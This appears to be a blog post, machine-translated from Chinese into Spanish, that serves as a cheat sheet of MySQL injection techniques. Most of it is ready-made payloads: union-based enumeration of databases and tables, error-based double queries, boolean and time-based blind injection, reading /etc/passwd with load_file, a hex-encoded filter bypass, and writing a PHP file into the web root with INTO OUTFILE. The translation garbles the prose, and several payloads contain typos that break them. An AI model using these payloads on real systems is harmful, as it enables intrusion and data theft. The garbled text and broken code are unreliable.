Inyección SQL de puntos de conocimiento típicos

Oraciones comunes

1. Declaración de comentario SQL ("-" y "/ /")

(1) -: indica un comentario de una sola línea

(2) / /: se utiliza para comentarios de varias líneas (bloque)

2. Declaración de consulta SELECT

SELECT 列名称 FROM 表名称
SELECT * FROM 表名称

3. Operador UNION (la función de la declaración combinada)

Como

SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

4. Declaración de Concat (es decir, función de conexión)

①concat () La
función CONCAT se usa para concatenar dos cadenas en una sola. Por
ejemplo

SELECT CONCAT(id, ‘,’, name) AS con FROM info LIMIT 1;//即将id与name从info中报出

②concat_ws ()
tiene un parámetro separador más

SELECT CONCAT_WS('_',id,name) AS con_ws FROM info LIMIT 1;//即将id,name以_相连使用

③group_concat () significa
que todos los parámetros de un grupo se descomponen
Inserte la descripción de la imagen aquí

5.ordenar por

ORDER BY se usa para ordenar (el valor predeterminado es el orden ascendente),
pero la mayor parte de la inyección SQL se usa para detectar cuántos parámetros

6. Si declaración

IF (expr1, expr2, expr3)
expr1 es la condición de juicio, expr2 y expr3 son resultados de devolución personalizados que cumplen expr1.
Uso típico

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0(S)

如果当前用户不是"sa"或者"dbo",就会抛出一个divide by zero error。

Instrucción 7.slepp ()

Usado típicamente en persianas

sleep(100)即延时多少的作用

Estado de cuenta 8.

①COUNT (column_name) devuelve el número de valores en la columna especificada (NULL no se cuenta)

SELECT COUNT(column_name) FROM table_name//即返回table_name的字段数目

La función ②COUNT (*) devuelve el número de registros en la tabla

SELECT COUNT(column_name) FROM table_name//即返回table_name的所有字段数

9.extract declaración

La función EXTRACT () se utiliza para devolver partes individuales de la fecha / hora, como año, mes, día, hora, minuto, etc.

EXTRACT(unit FROM date)//unit为选择的参数可以为day,week,year等

10.longitud ()

Devuelve la longitud de la cadena.

select length("123456") #返回6

Funciones comunes

1. Función de información

database (), usado para obtener la información actual de la base de datos
version (): devuelve la versión de la base de datos, equivalente a @@ version
user (): devuelve el usuario actual, equivalente al parámetro current_user
@@ datadir, obtiene el almacenamiento de la base de datos posición.

select user();			#root@localhost
select current_user;	#root@localhost
select @@datadir;		#D:\xampp\mysql\data\
select @@baserdir;   //即数据库的安装路径

2. Función funcional


①Función de lectura y escritura load_file (): puede entenderse como lectura y escritura de archivos

select * from users union select 1,load_file('/etc/passwd'),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3;  #使用16进制绕过单引号限制

en el archivo de salida: archivo de escritura (siempre que tenga permiso de escritura)

select '<?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php';
select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';


②Interception función subtring (), substr (): se utiliza para truncar la cadena. El uso es: substr (str, pos, length), tenga en cuenta que pos comienza desde 1.

select substr((select database()),1,1);

Cómo utilizar métodos de inyección habituales

Inyección básica

1' order by num #        确定字段长度
1' union select 1,2,3 #  确定字段长度
-1' union select 1,2,3 # 判断页面中显示的字段
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #显示mysql中所有的数据库
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
-1' union select 1,2,3 AND '1'='1     在注释符无法使用的情况下

Inyección avanzada,
doble búsqueda y selección de sql

select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #这种sql语句的写法,常用于sql的盲注。得到数据库的信息
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #得到数据库的表的信息
 
#利用姿势如下:
1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

Blind bool note (la información se obtiene según el contenido de la página correspondiente al valor de retorno verdadero o falso de la ejecución de la sentencia SQL)

1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90

Inyección de tiempo ciego (según la longitud de retorno para determinar si se ejecuta el sueño para obtener)

1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+

Supongo que te gusta

Origin blog.csdn.net/qq_33942040/article/details/107512358
Recomendado
Clasificación